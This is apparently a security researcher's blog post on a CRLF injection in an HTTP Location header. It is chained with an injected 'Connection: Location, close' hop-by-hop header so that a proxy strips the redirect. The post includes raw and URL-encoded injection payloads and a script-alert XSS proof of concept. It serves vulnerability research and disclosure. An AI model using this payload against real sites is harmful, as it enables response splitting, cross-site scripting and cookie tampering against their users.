This blog post explores a CRLF injection vulnerability in the Location header of an HTTP response and how it could be used to chain it with other attacks.

I found a CRLF injection vulnerability in the Location header of an HTTP response. This vulnerability can allow the attacker to perform various actions such as open redirect, setting cookies, and arbitrary headers. Most clients won’t consume the body in a redirect response. To exploit this CRLF injection further, the attacker needs to find a way to get rid of the Location header. Removing the Location header allows the attacker to fully control the body of the HTTP response. This would make it possible to chain the CRLF injection vulnerability with other vulnerabilities like SSRF and XXE.

Vulnerability

HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 01 Mar 2023 13:00:00 GMT\r\n
Location: [INJECTION]\r\n

After spending some time on this, I remembered a post by @nj_dav about abusing hop-by-hop headers. You can find the post here https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers. In my case, the attacker can use the CRLF injection to set the hop-by-hop header Connection in the response and setting the value to Connection: Location, close. An intermediary proxy that is present in this specific case will consume the CRLF injected response and process the injected Connection header, ultimately removing the Location header. The status code of the HTTP response is still 302 but it is treated as 200 response if the Location header is missing.

Exploitation

I’ve chosen a simple XSS to demonstrate that we are able to set arbitrary content in the response and make clients consume the response.

Our injected exploit does the following:

  1. Set Connection header to Connection: Location, close.
  2. Set Content-Type header to text/html (needed for my specific target).
  3. Set an appropriate Content-Length header to ensure that clients correctly parse the HTTP response and discard any trailing data.
  4. Inject payload in the body of the response.
\r\n
Connection: Location, close\r\n
Content-Type: text/html\r\n
Content-Length: 39\r\n
\r\n
<script>alert(document.domain)</script>

URL encoded exploit

%0D%0AConnection:%20Location,%20close%0D%0AContent-Type:%20text/html%0D%0AContent-Length:%2039%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

The response as seen by clients

HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 01 Mar 2023 13:00:00 GMT\r\n
Content-Type: text/html\r\n
Content-Length: 39\r\n
\r\n
<script>alert(document.domain)</script>

While I wasn’t able to successfully chain this vulnerability with others, it’s important to note that even well-known vulnerabilities can have additional attack surfaces that should be identified and addressed.